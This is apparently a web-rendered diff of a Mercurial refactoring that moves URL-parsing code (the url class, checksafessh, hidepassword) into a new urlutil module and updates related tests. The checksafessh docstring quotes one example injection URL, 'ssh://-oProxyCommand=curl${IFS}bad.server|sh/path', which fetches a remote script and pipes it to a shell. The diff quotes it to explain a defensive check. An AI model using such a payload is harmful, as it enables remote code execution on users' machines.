107 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |||
|
108 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |||
|
109 | ||||
|
110 | Empty path: | |||
|
111 | ||||
|
112 | >>> url(b'') | |||
|
113 | <url path: ''> | |||
|
114 | >>> url(b'#a') | |||
|
115 | <url path: '', fragment: 'a'> | |||
|
116 | >>> url(b'http://host/') | |||
|
117 | <url scheme: 'http', host: 'host', path: ''> | |||
|
118 | >>> url(b'http://host/#a') | |||
|
119 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |||
|
120 | ||||
|
121 | Only scheme: | |||
|
122 | ||||
|
123 | >>> url(b'http:') | |||
|
124 | <url scheme: 'http'> | |||
|
125 | """ | |||
|
126 | ||||
|
127 | _safechars = b"!~*'()+" | |||
|
128 | _safepchars = b"/!~*'()+:\\" | |||
|
129 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |||
|
130 | ||||
|
131 | def __init__(self, path, parsequery=True, parsefragment=True): | |||
|
132 | # type: (bytes, bool, bool) -> None | |||
|
133 | # We slowly chomp away at path until we have only the path left | |||
|
134 | self.scheme = self.user = self.passwd = self.host = None | |||
|
135 | self.port = self.path = self.query = self.fragment = None | |||
|
136 | self._localpath = True | |||
|
137 | self._hostport = b'' | |||
|
138 | self._origpath = path | |||
|
139 | ||||
|
140 | if parsefragment and b'#' in path: | |||
|
141 | path, self.fragment = path.split(b'#', 1) | |||
|
142 | ||||
|
143 | # special case for Windows drive letters and UNC paths | |||
|
144 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |||
|
145 | self.path = path | |||
|
146 | return | |||
|
147 | ||||
|
148 | # For compatibility reasons, we can't handle bundle paths as | |||
|
149 | # normal URLS | |||
|
150 | if path.startswith(b'bundle:'): | |||
|
151 | self.scheme = b'bundle' | |||
|
152 | path = path[7:] | |||
|
153 | if path.startswith(b'//'): | |||
|
154 | path = path[2:] | |||
|
155 | self.path = path | |||
|
156 | return | |||
|
157 | ||||
|
158 | if self._matchscheme(path): | |||
|
159 | parts = path.split(b':', 1) | |||
|
160 | if parts[0]: | |||
|
161 | self.scheme, path = parts | |||
|
162 | self._localpath = False | |||
|
163 | ||||
|
164 | if not path: | |||
|
165 | path = None | |||
|
166 | if self._localpath: | |||
|
167 | self.path = b'' | |||
|
168 | return | |||
|
169 | else: | |||
|
170 | if self._localpath: | |||
|
171 | self.path = path | |||
|
172 | return | |||
|
173 | ||||
|
174 | if parsequery and b'?' in path: | |||
|
175 | path, self.query = path.split(b'?', 1) | |||
|
176 | if not path: | |||
|
177 | path = None | |||
|
178 | if not self.query: | |||
|
179 | self.query = None | |||
|
180 | ||||
|
181 | # // is required to specify a host/authority | |||
|
182 | if path and path.startswith(b'//'): | |||
|
183 | parts = path[2:].split(b'/', 1) | |||
|
184 | if len(parts) > 1: | |||
|
185 | self.host, path = parts | |||
|
186 | else: | |||
|
187 | self.host = parts[0] | |||
|
188 | path = None | |||
|
189 | if not self.host: | |||
|
190 | self.host = None | |||
|
191 | # path of file:///d is /d | |||
|
192 | # path of file:///d:/ is d:/, not /d:/ | |||
|
193 | if path and not hasdriveletter(path): | |||
|
194 | path = b'/' + path | |||
|
195 | ||||
|
196 | if self.host and b'@' in self.host: | |||
|
197 | self.user, self.host = self.host.rsplit(b'@', 1) | |||
|
198 | if b':' in self.user: | |||
|
199 | self.user, self.passwd = self.user.split(b':', 1) | |||
|
200 | if not self.host: | |||
|
201 | self.host = None | |||
|
202 | ||||
|
203 | # Don't split on colons in IPv6 addresses without ports | |||
|
204 | if ( | |||
|
205 | self.host | |||
|
206 | and b':' in self.host | |||
|
207 | and not ( | |||
|
208 | self.host.startswith(b'[') and self.host.endswith(b']') | |||
|
209 | ) | |||
|
210 | ): | |||
|
211 | self._hostport = self.host | |||
|
212 | self.host, self.port = self.host.rsplit(b':', 1) | |||
|
213 | if not self.host: | |||
|
214 | self.host = None | |||
|
215 | ||||
|
216 | if ( | |||
|
217 | self.host | |||
|
218 | and self.scheme == b'file' | |||
|
219 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |||
|
220 | ): | |||
|
221 | raise error.Abort( | |||
|
222 | _(b'file:// URLs can only refer to localhost') | |||
|
223 | ) | |||
|
224 | ||||
|
225 | self.path = path | |||
|
226 | ||||
|
227 | # leave the query string escaped | |||
|
228 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |||
|
229 | v = getattr(self, a) | |||
|
230 | if v is not None: | |||
|
231 | setattr(self, a, urlreq.unquote(v)) | |||
|
232 | ||||
|
233 | def copy(self): | |||
|
234 | u = url(b'temporary useless value') | |||
|
235 | u.path = self.path | |||
|
236 | u.scheme = self.scheme | |||
|
237 | u.user = self.user | |||
|
238 | u.passwd = self.passwd | |||
|
239 | u.host = self.host | |||
|
240 | u.path = self.path | |||
|
241 | u.query = self.query | |||
|
242 | u.fragment = self.fragment | |||
|
243 | u._localpath = self._localpath | |||
|
244 | u._hostport = self._hostport | |||
|
245 | u._origpath = self._origpath | |||
|
246 | return u | |||
|
247 | ||||
|
248 | @encoding.strmethod | |||
|
249 | def __repr__(self): | |||
|
250 | attrs = [] | |||
|
251 | for a in ( | |||
|
252 | b'scheme', | |||
|
253 | b'user', | |||
|
254 | b'passwd', | |||
|
255 | b'host', | |||
|
256 | b'port', | |||
|
257 | b'path', | |||
|
258 | b'query', | |||
|
259 | b'fragment', | |||
|
260 | ): | |||
|
261 | v = getattr(self, a) | |||
|
262 | if v is not None: | |||
|
263 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |||
|
264 | return b'<url %s>' % b', '.join(attrs) | |||
|
265 | ||||
|
266 | def __bytes__(self): | |||
|
267 | r"""Join the URL's components back into a URL string. | |||
|
268 | ||||
|
269 | Examples: | |||
|
270 | ||||
|
271 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |||
|
272 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |||
|
273 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |||
|
274 | 'http://user:pw@host:80/?foo=bar&baz=42' | |||
|
275 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |||
|
276 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |||
|
277 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |||
|
278 | 'ssh://user:pw@[::1]:2200//home/joe#' | |||
|
279 | >>> bytes(url(b'http://localhost:80//')) | |||
|
280 | 'http://localhost:80//' | |||
|
281 | >>> bytes(url(b'http://localhost:80/')) | |||
|
282 | 'http://localhost:80/' | |||
|
283 | >>> bytes(url(b'http://localhost:80')) | |||
|
284 | 'http://localhost:80/' | |||
|
285 | >>> bytes(url(b'bundle:foo')) | |||
|
286 | 'bundle:foo' | |||
|
287 | >>> bytes(url(b'bundle://../foo')) | |||
|
288 | 'bundle:../foo' | |||
|
289 | >>> bytes(url(b'path')) | |||
|
290 | 'path' | |||
|
291 | >>> bytes(url(b'file:///tmp/foo/bar')) | |||
|
292 | 'file:///tmp/foo/bar' | |||
|
293 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |||
|
294 | 'file:///c:/tmp/foo/bar' | |||
|
295 | >>> print(url(br'bundle:foo\bar')) | |||
|
296 | bundle:foo\bar | |||
|
297 | >>> print(url(br'file:///D:\data\hg')) | |||
|
298 | file:///D:\data\hg | |||
|
299 | """ | |||
|
300 | if self._localpath: | |||
|
301 | s = self.path | |||
|
302 | if self.scheme == b'bundle': | |||
|
303 | s = b'bundle:' + s | |||
|
304 | if self.fragment: | |||
|
305 | s += b'#' + self.fragment | |||
|
306 | return s | |||
|
307 | ||||
|
308 | s = self.scheme + b':' | |||
|
309 | if self.user or self.passwd or self.host: | |||
|
310 | s += b'//' | |||
|
311 | elif self.scheme and ( | |||
|
312 | not self.path | |||
|
313 | or self.path.startswith(b'/') | |||
|
314 | or hasdriveletter(self.path) | |||
|
315 | ): | |||
|
316 | s += b'//' | |||
|
317 | if hasdriveletter(self.path): | |||
|
318 | s += b'/' | |||
|
319 | if self.user: | |||
|
320 | s += urlreq.quote(self.user, safe=self._safechars) | |||
|
321 | if self.passwd: | |||
|
322 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |||
|
323 | if self.user or self.passwd: | |||
|
324 | s += b'@' | |||
|
325 | if self.host: | |||
|
326 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |||
|
327 | s += urlreq.quote(self.host) | |||
|
328 | else: | |||
|
329 | s += self.host | |||
|
330 | if self.port: | |||
|
331 | s += b':' + urlreq.quote(self.port) | |||
|
332 | if self.host: | |||
|
333 | s += b'/' | |||
|
334 | if self.path: | |||
|
335 | # TODO: similar to the query string, we should not unescape the | |||
|
336 | # path when we store it, the path might contain '%2f' = '/', | |||
|
337 | # which we should *not* escape. | |||
|
338 | s += urlreq.quote(self.path, safe=self._safepchars) | |||
|
339 | if self.query: | |||
|
340 | # we store the query in escaped form. | |||
|
341 | s += b'?' + self.query | |||
|
342 | if self.fragment is not None: | |||
|
343 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |||
|
344 | return s | |||
|
345 | ||||
|
346 | __str__ = encoding.strmethod(__bytes__) | |||
|
347 | ||||
|
348 | def authinfo(self): | |||
|
349 | user, passwd = self.user, self.passwd | |||
|
350 | try: | |||
|
351 | self.user, self.passwd = None, None | |||
|
352 | s = bytes(self) | |||
|
353 | finally: | |||
|
354 | self.user, self.passwd = user, passwd | |||
|
355 | if not self.user: | |||
|
356 | return (s, None) | |||
|
357 | # authinfo[1] is passed to urllib2 password manager, and its | |||
|
358 | # URIs must not contain credentials. The host is passed in the | |||
|
359 | # URIs list because Python < 2.4.3 uses only that to search for | |||
|
360 | # a password. | |||
|
361 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |||
|
362 | ||||
|
363 | def isabs(self): | |||
|
364 | if self.scheme and self.scheme != b'file': | |||
|
365 | return True # remote URL | |||
|
366 | if hasdriveletter(self.path): | |||
|
367 | return True # absolute for our purposes - can't be joined() | |||
|
368 | if self.path.startswith(br'\\'): | |||
|
369 | return True # Windows UNC path | |||
|
370 | if self.path.startswith(b'/'): | |||
|
371 | return True # POSIX-style | |||
|
372 | return False | |||
|
373 | ||||
|
374 | def localpath(self): | |||
|
375 | # type: () -> bytes | |||
|
376 | if self.scheme == b'file' or self.scheme == b'bundle': | |||
|
377 | path = self.path or b'/' | |||
|
378 | # For Windows, we need to promote hosts containing drive | |||
|
379 | # letters to paths with drive letters. | |||
|
380 | if hasdriveletter(self._hostport): | |||
|
381 | path = self._hostport + b'/' + self.path | |||
|
382 | elif ( | |||
|
383 | self.host is not None and self.path and not hasdriveletter(path) | |||
|
384 | ): | |||
|
385 | path = b'/' + path | |||
|
386 | return path | |||
|
387 | return self._origpath | |||
|
388 | ||||
|
389 | def islocal(self): | |||
|
390 | '''whether localpath will return something that posixfile can open''' | |||
|
391 | return ( | |||
|
392 | not self.scheme | |||
|
393 | or self.scheme == b'file' | |||
|
394 | or self.scheme == b'bundle' | |||
|
395 | ) | |||
|
396 | ||||
|
397 | ||||
|
398 | def hasscheme(path): | |||
|
399 | # type: (bytes) -> bool | |||
|
400 | return bool(url(path).scheme) # cast to help pytype | |||
|
401 | ||||
|
402 | ||||
|
403 | def hasdriveletter(path): | |||
|
404 | # type: (bytes) -> bool | |||
|
405 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |||
|
406 | ||||
|
407 | ||||
|
408 | def urllocalpath(path): | |||
|
409 | # type: (bytes) -> bytes | |||
|
410 | return url(path, parsequery=False, parsefragment=False).localpath() | |||
|
411 | ||||
|
412 | ||||
|
413 | def checksafessh(path): | |||
|
414 | # type: (bytes) -> None | |||
|
415 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |||
|
416 | ||||
|
417 | This is a sanity check for ssh urls. ssh will parse the first item as | |||
|
418 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |||
|
419 | Let's prevent these potentially exploited urls entirely and warn the | |||
|
420 | user. | |||
|
421 | ||||
|
422 | Raises an error.Abort when the url is unsafe. | |||
|
423 | """ | |||
|
424 | path = urlreq.unquote(path) | |||
|
425 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |||
|
426 | raise error.Abort( | |||
|
427 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |||
|
428 | ) | |||
|
429 | ||||
|
430 | ||||
|
431 | def hidepassword(u): | |||
|
432 | # type: (bytes) -> bytes | |||
|
433 | '''hide user credential in a url string''' | |||
|
434 | u = url(u) | |||
|
435 | if u.passwd: | |||
|
436 | u.passwd = b'***' | |||
|
437 | return bytes(u) | |||
|
438 | ||||
|
439 | ||||
|
440 | def removeauth(u): | |||
|
441 | # type: (bytes) -> bytes | |||
|
442 | '''remove all authentication information from a url string''' | |||
|
443 | u = url(u) | |||
|
444 | u.user = u.passwd = None | |||
|
445 | return bytes(u) | |||
|
446 | ||||
|
447 | ||||
21 | class paths(dict): |
|
448 | class paths(dict): | |
22 | """Represents a collection of paths and their configs. |
|
449 | """Represents a collection of paths and their configs. | |
23 |
|
450 | |||
@@ -103,7 +530,7 b' def pathsuboption(option, attr):' | |||||
103 |
|
530 | |||
104 | @pathsuboption(b'pushurl', b'pushloc') |
|
531 | @pathsuboption(b'pushurl', b'pushloc') | |
105 | def pushurlpathoption(ui, path, value): |
|
532 | def pushurlpathoption(ui, path, value): | |
106 |
u = |
|
533 | u = url(value) | |
107 | # Actually require a URL. |
|
534 | # Actually require a URL. | |
108 | if not u.scheme: |
|
535 | if not u.scheme: | |
109 | ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) |
|
536 | ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) | |
@@ -148,7 +575,7 b' class path(object):' | |||||
148 | raise ValueError(b'rawloc must be defined') |
|
575 | raise ValueError(b'rawloc must be defined') | |
149 |
|
576 | |||
150 | # Locations may define branches via syntax <base>#<branch>. |
|
577 | # Locations may define branches via syntax <base>#<branch>. | |
151 |
u = |
|
578 | u = url(rawloc) | |
152 | branch = None |
|
579 | branch = None | |
153 | if u.fragment: |
|
580 | if u.fragment: | |
154 | branch = u.fragment |
|
581 | branch = u.fragment |
@@ -158,6 +158,7 b' expected_mods_tested = set(' | |||||
158 | ('mercurial.util', '{}'), |
|
158 | ('mercurial.util', '{}'), | |
159 | ('mercurial.utils.dateutil', '{}'), |
|
159 | ('mercurial.utils.dateutil', '{}'), | |
160 | ('mercurial.utils.stringutil', '{}'), |
|
160 | ('mercurial.utils.stringutil', '{}'), | |
|
161 | ('mercurial.utils.urlutil', '{}'), | |||
161 | ('tests.drawdag', '{}'), |
|
162 | ('tests.drawdag', '{}'), | |
162 | ('tests.test-run-tests', '{}'), |
|
163 | ('tests.test-run-tests', '{}'), | |
163 | ('tests.test-url', "{'optionflags': 4}"), |
|
164 | ('tests.test-url', "{'optionflags': 4}"), |
@@ -10,7 +10,10 b' from mercurial import (' | |||||
10 | url, |
|
10 | url, | |
11 | util, |
|
11 | util, | |
12 | ) |
|
12 | ) | |
13 |
from mercurial.utils import |
|
13 | from mercurial.utils import ( | |
|
14 | stringutil, | |||
|
15 | urlutil, | |||
|
16 | ) | |||
14 |
|
17 | |||
15 | urlerr = util.urlerr |
|
18 | urlerr = util.urlerr | |
16 | urlreq = util.urlreq |
|
19 | urlreq = util.urlreq | |
@@ -60,7 +63,7 b' def test(auth, urls=None):' | |||||
60 | print('URI:', pycompat.strurl(uri)) |
|
63 | print('URI:', pycompat.strurl(uri)) | |
61 | try: |
|
64 | try: | |
62 | pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm()) |
|
65 | pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm()) | |
63 | u, authinfo = util.url(uri).authinfo() |
|
66 | u, authinfo = urlutil.url(uri).authinfo() | |
64 | if authinfo is not None: |
|
67 | if authinfo is not None: | |
65 | pm.add_password(*_stringifyauthinfo(authinfo)) |
|
68 | pm.add_password(*_stringifyauthinfo(authinfo)) | |
66 | print( |
|
69 | print( | |
@@ -198,10 +201,12 b' test(' | |||||
198 | def testauthinfo(fullurl, authurl): |
|
201 | def testauthinfo(fullurl, authurl): | |
199 | print('URIs:', fullurl, authurl) |
|
202 | print('URIs:', fullurl, authurl) | |
200 | pm = urlreq.httppasswordmgrwithdefaultrealm() |
|
203 | pm = urlreq.httppasswordmgrwithdefaultrealm() | |
201 | ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1]) |
|
204 | ai = _stringifyauthinfo( | |
|
205 | urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1] | |||
|
206 | ) | |||
202 | pm.add_password(*ai) |
|
207 | pm.add_password(*ai) | |
203 | print(pm.find_user_password('test', authurl)) |
|
208 | print(pm.find_user_password('test', authurl)) | |
204 |
|
209 | |||
205 |
|
210 | |||
206 | print('\n*** Test urllib2 and util.url\n') |
|
211 | print('\n*** Test urllib2 and urlutil.url\n') | |
207 | testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo') |
|
212 | testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo') |
@@ -211,7 +211,7 b" CFG: {b'y.password': b'ypassword', b'y.p" | |||||
211 | URI: http://example.org/foo |
|
211 | URI: http://example.org/foo | |
212 | abort |
|
212 | abort | |
213 |
|
213 | |||
214 | *** Test urllib2 and util.url |
|
214 | *** Test urllib2 and urlutil.url | |
215 |
|
215 | |||
216 | URIs: http://user@example.com:8080/foo http://example.com:8080/foo |
|
216 | URIs: http://user@example.com:8080/foo http://example.com:8080/foo | |
217 | ('user', '') |
|
217 | ('user', '') |
@@ -275,7 +275,7 b' check(' | |||||
275 | def test_url(): |
|
275 | def test_url(): | |
276 | """ |
|
276 | """ | |
277 | >>> from mercurial import error, pycompat |
|
277 | >>> from mercurial import error, pycompat | |
278 | >>> from mercurial.util import url |
|
278 | >>> from mercurial.utils.urlutil import url | |
279 | >>> from mercurial.utils.stringutil import forcebytestr |
|
279 | >>> from mercurial.utils.stringutil import forcebytestr | |
280 |
|
280 | |||
281 | This tests for edge cases in url.URL's parsing algorithm. Most of |
|
281 | This tests for edge cases in url.URL's parsing algorithm. Most of |
General Comments 0
You need to be logged in to leave comments.
Login now